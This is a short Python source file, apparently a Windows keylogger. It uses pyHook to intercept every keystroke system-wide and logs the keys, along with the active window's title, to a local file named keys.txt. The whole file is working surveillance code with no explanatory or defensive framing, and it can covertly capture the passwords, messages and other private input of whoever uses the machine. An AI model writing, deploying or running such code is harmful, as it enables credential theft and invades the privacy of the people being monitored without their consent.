import pyHook
import pythoncom

keyData = ''
WinTitle = ""


def keypressed(event):
    global keyData, WinTitle
    keys = ""
    wintitlestring = ""
    if WinTitle != event.WindowName:
        WinTitle = event.WindowName
        wintitlestring = "\n Window: %s \n" % WinTitle

    try:
        keyfile = open("keys.txt", "r")
        keyData = keyfile.read()
        keyfile.close()
    except:
        pass
    if event.Ascii == 13:
        keys = '\n'
    elif event.Ascii == 8:
        keys = '<BACK SPACE>'
    elif event.Ascii == 9:
        keys = '<TAB>'
    elif event.Ascii == 19:
        keys = '<CTRL-S>'
    elif event.Ascii == 24:
        keys = '<CTRL-X>'
    elif event.Ascii == 22:
        keys = '<CTRL-V>'
    elif event.Ascii == 3:
        keys = '<CTRL-C>'
    elif event.Ascii == 26:
        keys = '<CTRL-Z>'
    elif event.Ascii == 0:
        if event.Key not in ("Lshift", "Rshift", "Lmenu", "Rmenu", "Lcontrol", "Rcontrol"):
            keys = "<%s>" % event.Key
    else:
        keys = chr(event.Ascii)

    if wintitlestring != "":
        keyData += wintitlestring
    keyData += keys
    keyfile = open("keys.txt", "w")
    keyfile.write(keyData)
    keyfile.close()
    return True


obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()